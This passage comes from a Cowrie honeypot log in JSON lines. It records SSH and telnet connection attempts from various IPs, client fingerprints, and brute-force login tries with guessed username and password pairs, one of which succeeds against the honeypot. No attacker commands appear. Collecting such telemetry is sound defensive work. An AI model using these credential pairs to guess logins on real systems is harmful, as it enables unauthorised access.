ss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:11.935215Z","src_ip":"194.59.206.2","session":"bc83aaee5916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:12.092498Z","src_ip":"194.59.206.2","session":"bc83aaee5916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.245.253.121","src_port":28068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f540d6489e6","protocol":"telnet","message":"New connection: 165.245.253.121:28068 (159.203.135.109:23) [session: 5f540d6489e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:41.638710Z"}
{"eventid":"cowrie.session.closed","duration":0.005074739456176758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:41.643681Z","src_ip":"165.245.253.121","session":"5f540d6489e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f015de37fd87","protocol":"ssh","message":"New connection: 14.224.213.222:42498 (10.17.0.5:22) [session: f015de37fd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:54.440046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:54.444780Z","src_ip":"14.224.213.222","session":"f015de37fd87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:54.676141Z","src_ip":"14.224.213.222","session":"f015de37fd87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pa$$word","message":"login attempt [ubuntu/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:55.630391Z","src_ip":"14.224.213.222","session":"f015de37fd87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37728,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9c21cad35b","protocol":"ssh","message":"New connection: 193.32.162.145:37728 (159.203.135.109:22) [session: 5c9c21cad35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:55.970310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:55.975120Z","src_ip":"193.32.162.145","session":"5c9c21cad35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:56.078590Z","src_ip":"193.32.162.145","session":"5c9c21cad35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sollet","message":"login attempt [solana/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:56.388980Z","src_ip":"193.32.162.145","session":"5c9c21cad35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:56.863592Z","src_ip":"14.224.213.222","session":"f015de37fd87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:57.493313Z","src_ip":"193.32.162.145","session":"5c9c21cad35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":56530,"dst_ip":"10.17.0.5","dst_port":22,"session":"da7a91ced253","protocol":"ssh","message":"New connection: 14.224.213.222:56530 (10.17.0.5:22) [session: da7a91ced253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:01.393416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:01.397775Z","src_ip":"14.224.213.222","session":"da7a91ced253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:01.646630Z","src_ip":"14.224.213.222","session":"da7a91ced253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertyui","message":"login attempt [test/qwertyui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:02.669618Z","src_ip":"14.224.213.222","session":"da7a91ced253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:03.920043Z","src_ip":"14.224.213.222","session":"da7a91ced253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":31966,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeae832519bd","protocol":"ssh","message":"New connection: 27.74.248.52:31966 (10.17.0.5:22) [session: aeae832519bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:13.858358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:13.866910Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:14.394237Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:15.836653Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:16.798955Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:17.260475Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"1.5","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:18.779798Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:18.783746Z","src_ip":"27.74.248.52","session":"aeae832519bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":42882,"dst_ip":"10.17.0.5","dst_port":22,"session":"1db1e6b1d829","protocol":"ssh","message":"New connection: 190.244.39.224:42882 (10.17.0.5:22) [session: 1db1e6b1d829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:40.841996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:40.849282Z","src_ip":"190.244.39.224","session":"1db1e6b1d829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:41.043316Z","src_ip":"190.244.39.224","session":"1db1e6b1d829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin666","message":"login attempt [root/admin666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:41.850713Z","src_ip":"190.244.39.224","session":"1db1e6b1d829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:24:43.054733Z","src_ip":"190.244.39.224","session":"1db1e6b1d829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"d695416500c1","protocol":"ssh","message":"New connection: 14.224.213.222:40516 (10.17.0.5:22) [session: d695416500c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:09.562834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:09.567898Z","src_ip":"14.224.213.222","session":"d695416500c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:09.832215Z","src_ip":"14.224.213.222","session":"d695416500c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51746,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb37927e6337","protocol":"ssh","message":"New connection: 193.32.162.145:51746 (159.203.135.109:22) [session: fb37927e6337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:09.899863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:09.905750Z","src_ip":"193.32.162.145","session":"fb37927e6337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:10.010463Z","src_ip":"193.32.162.145","session":"fb37927e6337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:10.329163Z","src_ip":"193.32.162.145","session":"fb37927e6337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"admins","message":"login attempt [admins/admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:10.903293Z","src_ip":"14.224.213.222","session":"d695416500c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:11.435775Z","src_ip":"193.32.162.145","session":"fb37927e6337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:12.164238Z","src_ip":"14.224.213.222","session":"d695416500c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":36210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3ac42b10218","protocol":"ssh","message":"New connection: 124.164.251.88:36210 (159.203.135.109:22) [session: e3ac42b10218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:56.135726Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:56.141639Z","src_ip":"124.164.251.88","session":"e3ac42b10218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":39742,"dst_ip":"159.203.135.109","dst_port":22,"session":"b83afc1a8e74","protocol":"ssh","message":"New connection: 124.164.251.88:39742 (159.203.135.109:22) [session: b83afc1a8e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:57.879474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:25:57.884251Z","src_ip":"124.164.251.88","session":"b83afc1a8e74","protocol":"ssh"}
